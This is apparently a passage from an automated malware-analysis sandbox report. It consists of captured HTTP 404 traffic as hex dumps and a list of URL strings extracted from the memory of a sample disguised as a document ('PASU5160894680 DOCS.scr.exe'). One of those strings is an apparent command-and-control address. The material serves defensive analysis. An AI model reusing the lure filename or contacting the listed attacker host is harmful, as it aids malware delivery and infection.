62 f4 14 df 6b aa 6a d2 01 ba dc 3b a5 87 a8 29 9a 31 8f 1e 9f 9e 9e 5e 18 b8 50 83 01 e7 51 22 a5 ef a3 b3 d8 90 04 55 88 a2 d0 1a 56 f6 30 91 45 01 6d e2 16 0e 45 51 c3 69 88 a2 ac 21 0b 4a 14 85 37 64 d1 d0 4c ad 46 d0 79 61 0d cb e1 28 32 05 d5 8c 99 d8 90 6b 83 43 34 05 a3 2e ab f3 28 3e d8 ac 0b 92 24 ab 75 68 47 c9 38 0c 4f ff f4 29 ae f4 3e 35 12 97 99 ec 12 b4 53 dc cb 95 ca 13 33 e5 4b 78 1e 25 d3 6e 86 bd 8b 6d 2c d7 1b 20 f3 6c dc d3 55 91 55 1c 6b 74 af 4e 27 03 d0 24 d9 8a 9d 49 a6 d3 22 1e 32 dc 8c 77 b8 9e fc 54 f7 71 b6 ca 52 c7 88 98 f0 89 58 d5 0c 09 1b 31 b0 26 a2 35 81 00 18 98 9a 22 4b e8 71 8c 31 53 a0 e9 00 f5 26 99 da eb 8e 9b 1a aa da aa a6 48 ac b1 84 6a d5 f0 a8 af 65 98 54 7f 60 60 fa 20 43 82 f7 49 4c c2 a2 66 08 44 d6 00 50 0b fc c1 a0 73 34 94 2e 66 b9 c7 3c 92 40 01 98 0d 82 3d 81 e9 14 fd 59 60 a2 d3 c1 19 09 36 98 dc e6 1b da 1e f6 48 35 0a f6 3e 0b ce 32 3c 6c 18 9a 87 4d 55 10 77 eb 86 06 9d 01 5f 2d 2d 56 c5 aa bb 7f 9f 01 16 1b 1a 22 42 55 c1 1e b7 6f cb 12 69 50 57 89 3f 31 a4 a7 6e 78 fb f5 6c d3 3f d1 54 da 1a 04 a4 79 24 b4 88 16 68 21 e9 d9 27 86 78 57 82 9b 99 5d 08 90 35 e6 cc 48 6d 8e fe b0 cc db 17 4b ba 56 6f 08 92 dc 32 c1 79 99 d6 59 13 9a b2 72 30 8f 72 9a 0a 2e 21 98 10 e8 d6 e5 2a b6 e7 08 6d 68 aa 06 91 6e 03 ab 8a 16 05 9a 96 21 63 23 8a 9a d0 6c ea 82 88 8f d1 df d2 30 2d 06 78 77 dc 6b 0d ee a0 9e df 17 b1 6e 21 2b a8 35 cd 1d de 39 dc bb c4 72 dd 18 d1 f4 f9 c0 68 ea ea cc 35 b1 69 0a 75 1c 34 f5 be 00 e0 28 df 15 54 24 49 62 ce 84 13 7f e2 48 d5 bc 1e 3b 68 09 ec 20 6d 19 91 df f8 ba dc 41 c2 98 82 6b a4 37 e1 33 43 08 0d 3a 50 30 25 db 34 fc 96 e1 58 84 b3 4a 86 3a df df 39 ba 77 f7 e1 bf fd e6 e1 b7 ef 84 02 ac a3 af 6b 51 93 3c 8a 06 27 12 40 01 54 0e 46 44 13 14 b9 0e 26 22 e2 c1 c0 43 8f 9e 7f d4 98 0b ad 2d 30 6b fe 86 78 b5 c7 81 fc fa 74 87 a2 d3 a7 4f 1f 67 5a 26 68 4b c4 31 bf d4 ee 55 6f 34 eb 1a 12 12 4f d3 1f 76 78 8a ed 3b 01 6a 74 a4 d4 85 d9 8b a1 cf 53 8f e1 82 34 e5 58 46 f4 18 96 3d 48 b2 a9 2b 02 18 a5 ac 5a 1e 53 55 34 71 d7 33 e1 30 db cc 10 6f eb
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:18:46 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4786Content-Type: text/html; charset=utf-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 5c ff 77 db 54 96 ff 79 fb 57 bc 35 05 3b c5 96 6c 27 71 9c c4 09 6b 1c 27 31 24 76 ea 38 2d 1d da f5 91 a5 67 5b 58 96 54 e9 39 89 5b 7a 0e ec ce 00 b3 db 52 3a b0 4c bb 0b cb 14 ce a1 3d b0 d3 ce ce 17 60 80 b2 ff 4c 9d a6 3f ed bf b0 f7 49 fe 22 4b cf 8e eb 82 c3 ac 72 92 58 4f f7 dd f7 b9 f7 dd 7b df bd cf 92 12 7f bf 92 4b 15 ce 6d a5 51 95 d4 95 e5 13 89 ce 3f 2c 48 cb 27 10 1c 89 3a 26 02 12 ab 82 61 62 b2 e4 db 29 ac 86 e2 be f6 25 22 13 05 2f 3f fa d3 77 8f be fb a4 75 fd c6 a3 0f 3e 79 fc c1 ad c3 fb f7 13 bc 7d c5 c1 40 15 ea 78 c9 67 68 25 8d 98 3e 24 6a 2a c1 2a b0 53 35 59 95 f0 7e 50 d5 ca 9a a2 68 7b 3e c4 b7 7b 99 a4 d9 e1 40 0f fe 14 7a 51 30 31 3a c5 77 9b 4a 9a d4 44 97 bb a7 f4 10 35 45 33 16 d0 33 d3 d3 d3 8b 7d 17 ca 30 e0 02 8a c4 f4 7d 74 06 1b 92 a0 0a 41 e4 5b c7 ca 2e 26 b2 28 a0 2c 6e 60 5f 10 55 3b 0d 41 94 34 64 41 09 22 ff a6 2c 1a 9a a9 95 09 3a 27 ac 63 d9 1f 44 a6 a0 9a 21 13 1b 72 b9 7f 88 ba 60 54 64 75 01 85 fb 9b 75 41 92 64 b5 02 ed 28 1a 86 e1 e9 9f 1e c5 95 ee a7 6a e4 32 93 5d 84 76 0a bb b9 52 79 42 a6 7c 09 2f a0 68 dc c9 b0 7b 71 0f cb 95 2a c8 3c 1b 76 75 55 64 15 87 aa ed ab d3 d1 01 68 a2 6c c5 ce 44 e3 71 11 0f 19 6e c6 3d 5c 57 7e aa fb 30 5b 65 b1 23 44 8c 78 44 2c 69 86 84 8d 10 58 13 d1 ea 40 00 0c 4c 4d 91 25 f4 0c c6 98 29 d0 f4 00 f5 46 99 da 6b 8f 1b 1b aa da 92 a6 48 ac b1 84 52 c9 70 a9 af 61 98 54 7f 60 60 7a 3f 43 82 f7 49 48 c2 a2 66 08 44 d6 00 50 03 fc c1 a0 73 34 94 2e 64 b9 c7 02 92 40 01 98 0d 82 3d 81 f1 18 fd 59 64 a2 d3 c1 19 09 36 98 dc 16 aa da 2e 76 49 35 0a f6 1e 0b ce 32 3c 6c 18 9a 8b 4d 49 10 6b 15 43 83 ce 80 af 1c 17 4b 62 c9 d9 bf c7 00 8b 55 0d 11 a1 a4 60 97 db ef c9 12 a9 52 57 09 3f 3b a4 a7 6e b8 fb 75 6d d3 3b d1 54 da 32 04 a4 05 24 34 88 36 d0 42 e2 b3 cf 0e f1 ae 08 37 33 bb 38 40 d6 50 67 46 ca 73 f4 87 65 de 9e 58 d2 b6 7a 43 90 e4 86 09 ce cb b4 ce b2 50 97 95 e6 02 4a 69 2a b8 84 60 42 a0 db 90 4b d8 9e 23 b4 a9 a9 1a 44 ba 4d ac 2a 5a 10 68 1a 86 8c 8d 20 aa 43 b3 a9 0b 22 3e 42 7f cb c3 b4 38 c0 bb c3 6e 6b 70 06 f5 f4 be 88 75 0b 59 46 2d 6b ce f0 ce e1 ee 25 96 eb 86 88 a6 2f 0c 8c a6 8e ce 5c 1d 9b a6 50 c1 83 a6 de 13 00 3a ca 77 04 15 49 92 98 33 d1 89 3f 61 a4 6a 6e 8f ed b7 04 76 90 b6 8c c8 6b 7c 6d ee 20 61 48 c1 65 d2 9d f0 99 21 84 06 1d 68 30 25 db 34 bc 96 d1 b1 88 ce 2a e9 6b fd 70 ef f0 c1 fd c7 ff f1 ab c7 df dd f0 0d b0 8e 9e ae 45 4d 72 29 1a 9c 48 00 05 50 39 18 11 4d 50 e4 0a 98 88 88 fb 03 0f 3d ba fe 51 66 2e b4 b6 c0 ac f9 1b e2 d5 2e 07 f2 ea d3 19 8a e6 e7 e7 8f 32 2d 13 b4 25 e2 90 57 6a e7 aa 37 9a 75 0d 09 89 f3 f4 87 1d 9e 42 fb 9d 00 35 3a 52 ea c2 ec c5 d0 e3 a9 47 70 41 9a 72 24 23 7a 0c cb 1e 24 d9 d4 15 01 8c 52 56 2d 8f 29 29 9a 58 73 4d 38 cc 36 33 c4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:18:49 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 12974Content-Type: text/html; charset=utf-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd bd 7b 97 dc da 75 27 f6 77 f4 29 10 5a 36 79 6d b2 01 14 de f7 f2 5e 07 af 02 50 85 57 01 a8 a7 a5 70 a1 00 14 80 c2 fb 55 00 4a d6 5a 76 32 63 6b 12 c9 b2 c7 8e 47 4a ec 78 64 af 65 79 d9 19 69 32 93 d8 1e db 72 be 8c 78 75 f5 57 be 42 50 dd 6c b2 d9 5d cd 4b 51 36 af 27 e0 62 77 e1 e0 9c 7d 7e 7b 9f fd 3c 8d 02 9e fe b7 9c c6 5a 6b 9d 07 82 3a 89 3f f9 d2 d3 eb 5f 9e ed 7e f2 25 60 38 9e 26 5e 6d 03 4e 60 97 95 57 7f fc 60 6e 8d 9f 90 0f 5e 5c aa c3 3a f6 3e f9 c9 7f fe fb 9f fc fd 9f 3c ff f6 ef fd e4 0f fe e4 a7 7f f0 dd cf 7e f8 c3 a7 e0 d5 95 1b 04 52 3b f1 3e 7e 50 66 db ac ae 1e 00 4e 96 d6 5e 3a 90 4b b3 30 75 bd ee 71 9a ed b2 38 ce da 07 00 f8 62 54 55 f7 d7 14 4e 07 f8 cb 00 63 57 1e f0 cb e0 cb a6 6d e6 f6 c0 d7 5e 9e 9e 0e 27 8b b3 f2 43 e0 17 10 04 f9 e8 b5 0b bb 61 c2 0f 01 18 cf 3b 60 e1 95 ae 9d da 8f 81 07 a2 17 1f bc 3a 74 6c 40 f5 1a ef c1 63 20 b8 6e 78 0c d0 65 68 c7 8f 81 87 4a e8 94 59 95 ed 6a 60 6d 8b 5e f8 f0 31 50 d9 69 f5 a4 f2 ca 70 f7 fa 14 89 5d fa 61 fa 21 00 bd de 9c db ae 1b a6 fe d0 0e 8c a0 61 fa d3 8f 57 3d be fe f2 53 00 7f ed 2c 39 f8 34 08 ba 4d f5 c4 cf 93 2a 3c 7a 1f 02 23 f2 26 c1 97 17 5b 2f f4 83 81 67 0c ba 35 34 0e 53 ef 49 f0 e2 2a 32 ba 07 cd e8 bc 60 d1 11 49 3a de 1b a6 43 6f 4f f7 92 ff 93 ec a1 f3 22 c3 3f 87 45 f8 0e 8b db ac 74 bd f2 c9 a0 4d 75 96 0c 1d 06 02 55 16 87 2e f0 0b 9e e7 9d 65 08 b9 47 bc a3 b3 d2 7b 31 2f fe 46 d1 6e b3 d8 3d 37 97 bd dd 96 b7 c4 d7 94 d5 49 7e 83 82 e5 af 13 ac bd ae 7e e2 7a 4e 56 da 75 98 0d 80 9a c1 1e ca d3 1a bd b1 df 93 4b f3 f8 10 70 07 01 78 e7 41 9c 5f 40 12 3f fd fb e8 2c ba 7c 30 c6 da 2b cf 52 fb 30 c8 0e de 2d ae de 06 fb 2b 12 17 97 8a e7 95 65 76 8b cc d6 76 22 bf cc 86 c1 03 be 1d e9 6c 9d ed cd f1 af 08 78 4e 90 01 b5 bd 8d bd 5b 66 df 86 6e 1d 9c 4c 05 fa c5 37 8c cc cb db e3 5e ea e6 dd 85 3e 71 bb 1b 1c d2 87 80 dd d4 d9 bd 1a 42 62 bf f8 06 eb 82 2f 50 ec a3 7b 78 7d 72 bd 22 3b e2 f4 ef 9c 7a df f1 25 2f b4 be b4 dd b0 a9 06 e3 3d ab 9d 3b 3b 09 e3 fe 43 80 cd d2 c1 24 ec 6a 70 74 72 b8 f5 ae d6 08 50 b2 34 1b 3c 9d e2 a5 71 f6 78 e8 d3 94 a1 57 3e 06 92 a1 b9 ca 6d c7 fb 1c f9 7d f2 26 29 de 63 dd d0 6d 6d b8 e9 d4 f9 ce f1 f2 4b 64 52 ba cb 6e ba f7 0b ef e5 a5 73 a6 fb a4 ce f2 0f ef f5 a6 37 06 5f 24 5e 55 d9 be 77 df d2 df 71 00 d7 c2 bf e1 54 5c d7 3d bb 12 d7 fe 07 02 d2 ec b6 c5 be ae 09 e7 9d f4 a5 12 dd 55 be 17 d4 07 0e 9f c4 de ae 7e b9 e0 e8 1b 3a 96 a7 89 ee ef 79 5e 35 ee 6a c6 b5 46 5c 47 c9 07 cf ff f1 07 9f fd e8 87 3f fd df fe f5 4f ff fe f7 1e dc a3 1d af 64 ed 64 ee 2d 41 0f 46 64 0f 02 38 f1 71 c6 a3 d9 71 e8 0f 2a e2 78 af 3b 9e d3 f1 d2 3e 76 67 03 ed 15 c3 e7 d6 ef 0d 56 7d cb 80 ee ca f3 a6 2b a2 28 ea f3 54 ab 1a a4 e5 78 4f ee 72 7d 33 ea bd 9d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Sep 2024 13:18:51 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 b3 bb e7 bb 9f e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 36 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 31 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 32 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 32 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 38 63 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 70 78 20 30 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 68 33 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 62 62 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 68 65 6c 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 12 Sep 2024 13:07:54 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 12 Sep 2024 13:07:57 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 12 Sep 2024 13:07:59 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 12 Sep 2024 13:08:03 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Source: control.exe, 00000006.00000002.4134255300.0000000006170000.00000004.10000000.00040000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4133356305.00000000041A0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cake11298.online/7ew2/?IhkTb=xPfHG0o8kZI8&3tV=IAPJnQ6xP9g
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://cloud.naver.com/
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com/CheckUpload.ndrive
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com/DoDelete.ndrive
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com/GetList.ndrive
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com/MakeDirectory.ndrive?
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com/Status/GenerateKey.ndrive
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://files.cloud.naver.com/Status/Get.ndrive
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1717296789.0000000003420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://static.nid.naver.com/enclogin/keys.nhnIhttps://nid.naver.com/nidlogin.login
Source: PASU5160894680 DOCS.scr.exe	String found in binary or memory: http://static.nid.naver.com/login.nhn?svc=wme&url=http%3A%2F%2Fwww.naver.com&t=20120425
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1722501158.0000000007612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
